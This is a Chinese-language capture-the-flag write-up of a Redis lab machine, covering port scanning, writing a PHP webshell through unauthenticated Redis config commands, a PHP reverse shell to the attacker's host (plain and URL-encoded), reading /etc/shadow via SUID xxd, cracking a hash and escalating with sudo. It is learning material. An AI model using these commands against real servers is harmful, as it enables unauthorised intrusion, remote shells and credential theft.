这是我第一次接触redis
,这个题目是最简单的
信息收集
使用nmap
进行端口扫描
根据扫描结果,开放了80
端口和6379
端口(redis)服务
对80
端口进行目录扫描没有得到任何有用的信息,占时没太大用处
根据改题目的描述和题目名称,改题目需要对redis
服务进行下手,在网上查找到了redis
服务渗透测试指南
参考:https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#authenticated-enumeration
其中讲到可以使用redis
写入PHP Webshell
代码如下
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
初始访问权限
使用redis-cli -h target_ip -p 6379
连接靶机
接着使用上述方法写入Junglezt.php
,内容为<?php system($_GET['cmd']);?>
现在我们可以执行命令了,使用php
获取反弹shell
代码如下:
php -r '$sock=fsockopen("10.14.74.4","4444");exec("/bin/bash -i 0>&3 2>&3 1>&3");'
由于是GET
方式传参,需要使用url
编码,编码后如下
php%20-r%20'%24sock%3Dfsockopen(%2210.14.74.4%22%2C%224444%22)%3Bexec(%22%2Fbin%2Fbash%20-i%200%3E%263%202%3E%263%201%3E%263%22)%3B'
传入cmd
参数,在本地nc -lvp 4444
监听,使用浏览器访问获得shell
10.10.194.198/Junglezt.php?cmd=php%20-r%20'%24sock%3Dfsockopen(%2210.14.74.4%22%2C%224444%22)%3Bexec(%22%2Fbin%2Fbash%20-i%200%3E%263%202%3E%263%201%3E%263%22)%3B'
接着获取user.txt
权限提升
接着需要权限提升,查找suid
文件发现xxd
命令可以使用,查找GTFOBins
找到对应方法可以读取任意文件,我们读取/etc/shadow
得到vianka
用户的hash
,使用john
破解
得到vianka
用户的密码为beautiful1
使用su
切换到该用户时报错
是因为终端的问题,由于靶机的22
端口也没有开放,我们也没有权限开放靶机22
端口的权限,这里需要使用python
生成一个终端
python -c "import pty;pty.spawn('/bin/bash')"
获取root权限
我们需要继续提权,接着使用sudo -l
发现我们可以执行任何root
用户的命令,使用sudo su
得到root
权限
总结
- 这个靶机学习到了一些
redis
的基本操作,另外还有一个ssh
私钥获取shell
的方法,但是不适用这个靶机 php
反弹shell
的终端不可以使用su
命令,在没有开启22
端口的情况下,可以使用python
的pty
方法获取一个伪终端